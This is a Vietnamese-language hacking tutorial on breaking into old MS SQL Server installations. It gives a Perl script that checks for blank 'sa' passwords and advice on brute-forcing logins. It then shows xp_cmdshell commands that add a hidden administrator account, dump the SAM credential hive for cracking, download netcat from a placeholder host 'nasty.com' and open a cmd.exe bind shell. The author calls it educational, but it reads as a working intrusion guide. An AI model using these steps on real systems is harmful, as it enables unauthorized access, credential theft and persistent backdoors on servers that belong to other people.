Giới thiệu :
hồi giờ chúng ta tấn công vào server dùng MS SQL Server đa phần là dùng kĩ thuật SQL injection , đây là kĩ thuật hack phải nói là hay nhất , hiệu quả cao và nhanh chóng nhất , tuy nhiên trong bài này tôi sẽ đề cập đến 1 cách khác để hack vào MS SQL Server , cách này tuy xác suất thành công không cao bằng SQl injection nhưng cũng đáng để quan tâm bởi vì đâu phải lúc nào chúng ta cũng tìm thấy lỗi SQl injection .
Cách này của chúng ta tạm gọi là "TRSQL" vì đa phần là nhờ may mắn , nhưng chả hiểu sao hồi trước tới giờ tôi thấy cái may mắn này lại hay xảy ra .
Công cụ đầu tiên chúng ta cần là sqlbf (SQL Brute Force ) cái này cứ vào packetstorm mà tìm .
Và cái tool connect vào MS SQL Server :
http://www.hvaonline.net/exploite/SqlExec.exeChúng ta bắt đầu :
Hầu hết MS SQL Server đầu chạy trên TCP port 1433 , còn nếu chạy trên port khác thì mình dùng công cụ scan là cũng ra ngay thôi . Cái MS SQL server mà chúng ta bàn luận ở đây hơi cũ chút là : SQL 6.5 & 7.0 . Tuy cũ nhưng tôi vẫn viết ra ở đây mục đích là học hỏi kinh nghiêm chứ không phải mục đích là tìm mục tiêu để hack phá phách . Download sqlbt về xong thì run nó , rất dễ dùng , công việc của nó là kiếm password cho chúng ta login . Nhược điểm của MS SQL server thứ nhất là mặc định system administrator là "sa" , do đó chúng ta không cần phải brute cái username mà chỉ cần brute force cái password là đủ , thứ 2 là default password của sa là "không có gì hết" , cái này mới chết người , ai cũng quan niệm là "chỗ nguy hiểm nhất chính là chỗ an toàn nhất" , bởi vậy password là "không có gì hết" thì đố ai ngờ được , sai lầm chết người của nhiều người quản trị mạng ở chỗ đó , vì chúng ta có sqlbf tool nên ai có suy nghĩ đó là chết liền .
Sẵn đây tôi cũng giới thiệu với các bạn cái tool scan server có password là "không có gì hết" :
save lại nội dung code sau thành file senseql.pl , và run :
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
• scans for hosts with blank passwords
• Brute Forces login attempts.
#!/usr/bin/perl
## SQL username/password checker
## Parameters: senseql <IP> <username> <password>
## Eg. to check for blank SA:
## senseql 10.0.0.1 sa ""
## Roelof Temmingh / Haroon Meer
##
roelof@sensepost.com /
haroon@sensepost.com## SensePost IT Security
##
http://www.sensepost.com/ http://www.hackrack.com/## 2001/11/09
use IO::Socket;
$|=1;
if ($#ARGV<2) {die "Usage: senseql IP username password\n";}
$port=1433; $host=$ARGV[0]; $username=$ARGV[1]; $pass=$ARGV[2];
$unh=pack("a30",$username);$psh=pack("a30",$pass);
$numu=pack("c",length($username)); $nump=pack("c",length($pass));
$FRONT="0200020000000200000000000000000000000000000000000000000000000000000
00000000000";
$REST="30303030303061300000000000000000000000000000000000201881b82c08030106
0a090101000000000000000000737175656c646120312e30000000000000000000000000000
000000000000b00000000000000000000000000000000000000000000000000000000000000
00";
$REST2="0000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000040200004d5344424c49420000000706000000000d110000000000000000000000000
00000000000000000000000";
$hfront=pack("H*",$FRONT);$hrest=pack("H*",$REST);$hrest2=pack("H*",$REST2)
;
$FULL=$hfront.$unh.$numu.$psh.$nump.$hrest.$nump.$psh.$hrest2;
$SENDY2="020100470000020000000000000000010000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000003030300000000300000
0";
$SENDY2 = pack("H*",$SENDY2);
print "$host:$username:$pass:";
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort =>
$port) || die "No SQL here man...";
print $remote $FULL; print $remote $SENDY2;
recv($remote,$back,100,MSG_PEEK);
if ($back =~ /context to 'master'/) {print "Yep - go for it\n"}
else {print "No dude..\n";}
close ($remote);
Lets move on… at least to admins who have had the sense to change the admin password
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Giả sử như sqlbt tìm ra password của sa và login vào với username "sa" , chúng ta phải làm gì đây để nắm hoàn toàn hệt thống ?
Giờ đây chúng ta có thể dùng Stores Procedures , đặc biệt là xp_cmdshell , vấn đề bi giờ giống như là chúng ta hack bằng SQL injection mà có quyền "sa" vậy . Sẵn đây tôi sẽ giới thiệu cho các bạn biết sơ về các Extended Stores Procedures cần thiết và chức năng của nó :
xp_regread - reads a registry value
xp_rewrite - writes to the registry
xp_regdeletekey - deletes a key
xp_regdeletevalue - deletes a key's value
xp_regenumvalues - lists names of value entries
xp_regaddmultistring - adds a multistring (zero-delimited string)
xp_regremovemultistring - removes a multi string (zero delimited string)
Nhiệm vụ chính của chúng ta hiện giờ là , add ADMIN , đổ SAM và UPLOAD Backdoor .
Thêm tài khoản vào Administrators Group : ( username : Mask_NBTA , password : hacked )
Xp_cmdshell 'net user Mask_NBTA hacked /ADD'
Xp_cmdshell 'net localgroup /ADD Administrators Mask_NBTA'
Đổ SAM :
Có quyền admin thì đọc file SAM và Crack bằng L0pth Crack 4.0 : ( máy tôi pentium 4 1.7 Ghz crack 2 user mất khoảng 7h )
Xp_regread 'HKEY_LOCAL_MACHINE','SECURITY\SAM\Domains\Account ','F'
Tại sao thông qua "sa" ta có thể làm nhiều việc như vậy , tại vì mặc định SQL Server chạy với quyền "local system"
UPLOAD Backdoor :
Các bạn có thể dùng backdoor gì tuỳ thích , ở đây tôi dùng netcat ( xưa giờ vẫn ko thấy con nào hay hơn con này ) :
xp_cmdshell 'tftp –I nasty.com GET nc.exe c:\nc.exe'
và thi hành nó bằng cách :
xp_cmdshell 'c:\nc.exe –l –p 8000 –e cmd.exe'
Sau đó vào DOS , telnet vào server ở PORT 8000
Xong , với 3 công việc này bạn đã biết phải làm gì khi có được "sa" ở MS SQL Server .
Àh , nếu bạn nào vô tình bằng cách gì đó có được password HASH của "sa" thì tôi xin giới thiệu 1 cách để crack password này rất hiệu quả .
Hướng dẫn cặn kẽ và có tool sãn ở đây :
http://www.ngssoftware.com/ tìm file cracking-sql-passwords.pdf